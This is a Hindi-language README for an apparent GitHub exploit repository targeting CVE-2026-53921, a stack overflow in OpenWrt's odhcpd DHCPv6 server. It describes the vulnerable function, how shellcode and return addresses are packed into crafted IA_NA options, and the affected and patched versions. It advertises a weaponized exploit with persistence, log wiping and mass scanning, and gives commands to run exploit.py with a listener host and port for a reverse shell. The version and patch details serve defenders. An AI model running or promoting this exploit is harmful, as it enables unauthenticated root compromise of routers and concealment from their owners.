
CVE-2026-53921 – odhcpd स्टैक ओवरफ्लो (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE के लिए विस्तृत और व्यापक राइट-अप और वेरिफायर और मल्टी-एक्सप्लॉइट। MIPS/ARM शेलकोड, ROP चेन, SOCKS5 प्रॉक्सी, पर्सिस्टेंस, लॉग वाइपिंग और मास स्कैनिंग के साथ डुअल-वेक्टर (IA_NA/IA_PD) ओवरफ्लो। नैतिक रूप से उपयोग करें, कानूनी रहें। 🔒

- केवल शैक्षिक और अधिकृत परीक्षण के लिए। अनधिकृत उपयोग अवैध है।**
CVE-2026-53921 OpenWrt के odhcpd डेमॉन में एक गंभीर स्टैक बफ़र ओवरफ़्लो है – जो डिफ़ॉल्ट DHCPv6/DHCPv4/RA सर्वर है।
यह भेद्यता odhcpd के DHCPv6 संदेश प्रबंधन कोड में मौजूद है,
विशेष रूप से build_ia() और dhcpv6_ia_handle_IAs() फ़ंक्शन में।
यह बग DHCPv6 Reply पैकेटों के सीरियलाइज़ेशन (पैकिंग) के दौरान होता है। जब odhcpd क्लाइंट अनुरोधों का जवाब देता है, तो यह 512 बाइट्स के निश्चित आकार के स्टैक बफ़र में उचित बाउंड्स चेकिंग के बिना उत्तर का निर्माण करता है।
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
एक हमलावर निम्नलिखित के साथ DHCPv6 Request (या Solicit) भेजता है:
जैसे ही odhcpd अपना Reply बनाता है, प्रत्येक विकल्प स्टैक स्थान लेता है। संचित डेटा 512 बाइट्स से अधिक हो जाता है, जिससे ओवरफ़्लो होता है।
वेक्टर ट्रिगर ओवरफ़्लो बिंदु
साइट 1 5 IA_NA विकल्प IA_NA के लिए build_ia()
IPv6 पतों के साथ
build_ia()मूल कारण समान है, लेकिन ओवरफ़्लो विभिन्न कोड पथों में होता है, जिससे दोनों वेक्टर समान रूप से शोषण योग्य बन जाते हैं।
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
हमलावर सहेजे गए रिटर्न एड्रेस को अधिलेखित करता है ताकि वह मेमोरी में अपने शेलकोड की ओर इंगित करे।
आवश्यकता विवरण
नेटवर्क एक्सेस हमलावर के पास लक्ष्य से IPv6 कनेक्टिविटी होनी चाहिए
प्रमाणीकरण कोई नहीं -- अनप्रमाणित हमला
विशेषाधिकार odhcpd रूट के रूप में चलता है, इसलिए
RCE पूर्ण सिस्टम नियंत्रण देता है
वास्तविक शोषण में, हमलावर का शेलकोड IAAddress IPv6 पता फ़ील्ड में रखा जाता है (प्रति IA_NA 16 बाइट्स)। तैयार किए गए पैकेट शेलकोड, NOP स्लेड और रिटर्न एड्रेस को इन फ़ील्ड में पैक करते हैं।
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
संस्करण स्थिति RCE संभव?
odhcpd < e432dd6 भेद्य [+] हाँ OpenWrt < 24.10.8 भेद्य [+] हाँ OpenWrt < 25.12.5 भेद्य [+] हाँ OpenWrt 24.10.8+ पैच किया [-] नहीं OpenWrt 25.12.5+ पैच किया [-] नहीं odhcpd master + e432dd6 पैच किया [-] नहीं
यह भेद्यता विशेष रूप से खतरनाक है क्योंकि:
odhcpd OpenWrt इंस्टॉलेशन पर डिफ़ॉल्ट रूप से सक्षम होता है।| घटक | भेद्य संस्करण | में ठीक किया गया |
|---|---|---|
odhcpd (master branch) | commit e432dd6 से पहले | e432dd6 या बाद में |
| OpenWrt रिलीज़ | < 24.10.8 < 25.12.5 | 24.10.8 और 25.12.5 |
यह रिपॉज़िटरी दो स्वतंत्र स्क्रिप्ट प्रदान करती है:
| स्क्रिप्ट | उद्देश्य | शोषण कोड | सुरक्षा |
|---|---|---|---|
verifier.py | गैर-घुसपैठ भेद्यता जाँच | [-] नहीं | [+] सुरक्षित |
exploit.py | पूर्ण हथियारबंद शोषण | [+] हाँ | [!] खतरनाक |
verifier.py – भेद्यता जाँचकर्ताexploit.py – पूर्ण शोषणIA_NA (Site1) और IA_PD (Site2)।git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| तर्क | विवरण |
|---|---|
-u, --target | लक्ष्य IPv6 पता (आवश्यक) |
-i, --iface | नेटवर्क इंटरफ़ेस (डिफ़ॉल्ट: eth0) |
exploit.py